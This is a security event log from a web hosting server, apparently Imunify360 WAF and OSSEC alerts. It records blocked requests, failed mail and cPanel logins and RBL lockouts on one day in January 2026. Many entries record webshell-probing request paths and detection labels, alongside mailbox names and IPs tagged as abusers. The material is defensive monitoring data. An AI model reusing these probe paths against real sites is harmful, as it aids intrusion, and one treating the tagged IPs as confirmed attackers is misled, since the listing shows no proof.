IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=63 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.245.160.239
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=81951514942118 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.136.133.126
country_id: 2510769
description:
Jan 19 15:20:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.136.133.126 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.136.133.126
country_id: 2510769
description:
2026-01-19 15:20:28 dovecot_login authenticator failed for H=126.red-2-136-133.staticip.rima-tde.net [2.136.133.126]:58254: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 15:21:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.164.28.1
country_id: 192950
domain: ocned.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/ocned.com/company-intro.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/demos/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.0.235.30
country_id: 6252001
description:
Jan 19 15:27:24 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.0.235.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.0.235.30
country_id: 6252001
description:
2026-01-19 15:27:26 dovecot_plain authenticator failed for H=c-73-0-235-30.hsd1.fl.comcast.net (pliser) [73.0.235.30]:41248: 535 Incorrect authentication data (set_id=sales@nexuscollection.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/images/sliders/cdn-cgi/l/cdn-cgi/l/login.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.73.32
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-31.142.111.73.32||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.56.98.147
country_id: 3469034
domain: www.vc-b.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.vc-b.com.my/brand.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 15:34:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:59668: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/images/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.64.209.11
country_id: 1814991
description:
Jan 19 15:34:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.64.209.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.64.209.11
country_id: 1814991
description:
2026-01-19 15:34:07 dovecot_login authenticator failed for H=(11.209.64.125.broad.dy.sc.dynamic.163data.com.cn) [125.64.209.11]:35107: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.73.27.98
country_id: 1643084
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/press-details.php?id=628928 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 15:36:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:56595: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 120.92.72.199
country_id: 1814991
domain: www.maalloys.com.my
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.mktron.com||User:maalloyscom||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.40.97.124
country_id: 3469034
domain: www.vc-b.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.vc-b.com.my/award.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.113.68.241
country_id: 3469034
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/index.php/uk/listing.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.64.162.16
country_id: 2363686
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=719898 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/img/product.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 15:42:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51604: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 15:42:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 147.185.132.255
country_id: 6252001
description:
2026-01-19 15:42:17 351842 [Warning] Aborted connection 351842 to db: 'unconnected' user: 'unauthenticated' host: '147.185.132.255' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.209.220.53
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/stupid/11/210/1185702 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.246
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/wwwcofrethcommy/images/group.php||SC:/home2/cofrethcom/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 15:46:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.73.107.148
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=514257 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.61.218
country_id: 953987
description:
Jan 19 15:52:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.61.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-19 15:52:52 H=(localhost.localdomain) [78.153.140.207]:42870 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 211.25.18.142
country_id: 1733045
description:
[2026-01-19 15:53:38 +0800] info [webmaild] 211.25.18.142 - safuddin@ajplantations.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.204
country_id: 3175395
description:
Jan 19 15:54:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.204
country_id: 3175395
description:
Jan 19 15:54:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.204 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-19 15:57:17 H=(localhost.localdomain) [78.153.140.207]:52076 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 211.25.18.142
country_id: 1733045
description:
[2026-01-19 15:58:51 +0800] info [webmaild] 211.25.18.142 - safuddin@ajplantations.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.251.147
country_id: 2395170
description:
Jan 19 15:59:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.251.147 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 23.239.28.113
country_id: 6252001
domain: 34.217.70.37
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/34.217.70.37/azenv4.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.251.147
country_id: 2395170
description:
Jan 19 16:00:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.251.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.87.200.136
country_id: 3469034
description:
Jan 19 16:01:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.87.200.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.37.3
country_id: 3469034
description:
Jan 19 16:01:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.37.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.87.200.136
country_id: 3469034
description:
Jan 19 16:01:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.87.200.136 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 16:02:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:59673: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.138.245.58
country_id: 1733045
description:
[2026-01-19 16:02:51 +0800] info [webmaild] 175.138.245.58 - mag@symphony-led.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.135.92.251
country_id: 1643084
description:
[2026-01-19 16:03:48 +0800] info [cpaneld] 95.135.92.251 - Intercessors@agpc.org.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 16:04:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:56599: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/demos/img/img/contact-us.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.100.207.166
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&page_id=1&sub=8 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 69.160.160.54
country_id: 6252001
domain: vmsmotorsports.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/80.0.3987.132 Safari/537.36||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/images/sliders/contact.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.36.204.209
country_id: 1819730
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/image/cache/catalog/Image/Products/DocQ Rack/DocQ Rack-6 r1-150x150.JPG HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.36.204.209
country_id: 1819730
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/DocQ Rack/DocQ Rack-6 r1-150x150.JPG HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/fphortier/images/login.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 16:10:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51658: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.115.201.37
country_id: 2017370
description:
Jan 19 16:12:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.115.201.37 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.115.201.37
country_id: 2017370
description:
2026-01-19 16:12:16 dovecot_login authenticator failed for H=([176.115.201.37]) [176.115.201.37]:45052: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 16:13:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.158.26.193
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/monolog/monolog/src/Monolog/Utils.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/images/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sitemap.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.115.50
country_id: 6290252
description:
Jan 19 16:20:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.115.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.233
country_id: 690791
description:
Jan 19 16:21:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.233 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 149.104.53.116
country_id: 1861060
domain: www.maalloys.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.maalloys.com.my/contact.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.189.196.134
country_id: 1814991
description:
Jan 19 16:24:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.189.196.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.189.196.134
country_id: 1814991
description:
2026-01-19 16:24:45 dovecot_login authenticator failed for H=([220.189.196.134]) [220.189.196.134]:36966: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 149.104.53.116
country_id: 1861060
domain: www.maalloys.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:POST http:/www.maalloys.com.my/contact.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.10.25
country_id: 2300660
description:
Jan 19 16:28:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.10.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.11.109
country_id: 690791
description:
Jan 19 16:29:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.11.109 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.10.25
country_id: 2300660
description:
Jan 19 16:29:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.10.25 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.184.22.33
country_id: 102358
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/famous/164/323748 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 16:30:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:59677: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.106
country_id: 690791
description:
2026-01-19 16:31:47 H=([77.83.39.106]) [77.83.39.106]:49181 F=<Fix@coscoshippingspe.nl> rejected RCPT <mustapa@astlog.com.my>: SPF: 77.83.39.106 is not allowed to send mail from coscoshippingspe.nl


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/demos/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.71.182.195
country_id: 3686110
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/cup/17/404/1744624 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.151.7
country_id: 1733045
description:
Jan 19 16:32:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.151.7 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 16:32:11 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:56603: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.151.7
country_id: 1733045
description:
Jan 19 16:33:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.151.7 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 206.168.34.60
country_id: 6252001
description:
2026-01-19 16:34:31 355598 [Warning] Aborted connection 355598 to db: 'unconnected' user: 'unauthenticated' host: '206.168.34.60' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 16:34:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 146.174.183.45
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/sodium_compat/autoload-php7.php||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 16:38:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:54950: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 16:38:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
